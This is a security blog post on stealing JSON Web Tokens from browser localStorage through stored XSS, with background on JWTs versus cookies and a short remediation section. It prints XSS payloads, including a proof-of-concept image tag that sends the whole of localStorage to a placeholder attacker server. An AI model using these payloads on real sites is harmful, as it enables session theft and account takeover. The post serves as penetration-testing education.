Stealing JWTs in localStorage via XSS

David Roccasalva
Sep 10, 2019 · 5 min read
Image for post
Image for post

Over the last few months, I’ve come across some implementations of JSON Web Tokens (JWTs) that have ultimately led to compromise of the web application. Some scenarios include, stealing admin tokens through XSS (detailed in this blog) and forging claims during account registration to create standard accounts with admin privileges.

While JWTs are different to your traditional cookie, there are similarities and sometimes misconceptions in that they cannot be compromised through such attacks.

Throughout this blog, I’ll briefly explain what JWTs are, similarities with traditional cookies, how they differ, an example of stealing them, and how to secure them.

What are JSON Web Tokens (JWTs)?

In a nutshell, a JWT is a JSON Web Token . It’s a simple way of authenticating users against systems, possibly using open source libraries within the implementation . A JWT is made-up of three components separated by a single dot:

header.payload.signature

The header typically details what hashing algorithm is in use, the payload contains information relating to the user (e.g. role/level of access), and the signature ensures integrity.

In most configurations, once a user provides valid credentials, this token is set within HTTP headers and used for ongoing authorisation, similar to that of a standard session cookie.

There have been many reported JWT vulnerabilities over the years that have already been well documented such as algorithm attacks and manipulation of the payload to gain higher privileges. For the purpose of this blog, I’m not going to delve further into the JWT architecture and/or previous vulnerabilities.

How traditional cookies and JWTs are retrieved

If we quickly recap what the purpose of a cookie is, it’s to provide stateful information to an in-stateful protocol (HTTP). As a simple example, session cookies are used to track a user’s authenticated session on a web application. For this to work, a record of the session must exist both server-side and client-side.

From a JWT perspective, the token can be stateless. Meaning, there is no record of the session saved server-side. Instead, each request sent to the server contains a token of the user in which the server validates his or her authenticity.

Both cookies and JWTs follow a similar flow of events to request and receive a session token. Once a user provides valid credentials, the server responds with a session token. Cookies are set with the SET-COOKIE directive, whereas a JWT is generally set within the AUTHORIZATION header.

Where are they stored?

Using a default configuration, to summarise:

localStorage / sessionStorage

  • By default, you’ll find JWTs here.

Cookies

  • Purpose here is to send information to be read server-side for validation.
Image for post
Image for post
Typical web browser storage containers

Traditional cookie protections

Authentication cookies are commonly targeted through XSS vulnerabilities, providing attackers with the ability to hijack admin sessions and ultimately open the potential for footholds into network perimeters though vulnerable webservers.

There are headers that can be set for data stored within the cookie container. Aside from addressing the underlying XSS issues, as an example, there are flags such as HttpOnly, secure, path and domain that provide various levels of protection.

Then you have JWTs stored in localStorage… which is like storing your password in a text file.

Example of stealing JWTs in localStorage through XSS

In a recent engagement, I discovered a stored XSS vulnerability that was using JWTs for authentication. Once the payload was set, any victim who visited this webpage would have their JWT sent to me.

Initially, I couldn’t retrieve the JWT through XSS. Mostly because each JWT is stored with unique identifiers/keys, so you simply can’t call it without knowing this information.

As an example, a typical way of rendering a standard cookie (without protections) in a JavaScript alert box is:

<script>alert(document.cookie)</script>

As data in localStorage is stored within an array, it cannot be called using a similar method:

<script>alert(localStorage)</script>
Image for post
Image for post
localStorage alert box

One way of doing this for data in localStorage or sessionStorage is to retrieve each item using getItem().

<script>alert(localStorage.getItem(‘key’))</script>

Example:

<script>alert(localStorage.getItem(‘ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken’))</script>
Image for post
Image for post
Disclosure of a JWT accessToken

But as above, you would need to know this unique identifier ‘key’ as highlighted below:

Image for post
Image for post
Example list of keys stored within localStorage

Well so I thought. I guess you could brute-force this, or write some JavaScript to iterate through each item within localStorage. Alternatively, why not just dump everything.

There’s a good way of doing this with JSON.Stringify. This will convert all of the localStorage contents into a string and overcome this barrier, as an example:

<script>alert(JSON.stringify(localStorage))</script>
Image for post
Image for post
localStorage contents converted to a string

A complete XSS PoC to steal a JWT would look like this:

<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>
Image for post
Image for post
Example of a JWT disclosed through an XSS vulnerability and sent to an attacker-controlled server

Depending on the target implementation, this will more than likely provide you with an IdToken, accessToken and many other associated tokens. The IdToken would be used to authenticate and masquerade as the user in question (essentially an account-takeover) and the accessToken can be used to generate a brand new IdToken with the authentication endpoint.

The biggest issue here is the lack of ability to apply traditional cookie security flags to items stored in localStorage.

Remediation

While every implementation will be different with varying factors. There is an approach you can follow to harden your JWTs by using traditional cookie protections. At a high-level:

  • NEVER store anything sensitive in localStorage such as JWTs or any other credential for that matter. The purpose of localStorage is to provide user convenience and experience by saving website states and settings.

Privasec RED

Phishing, hacking, exploits and infiltration: stories and…

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store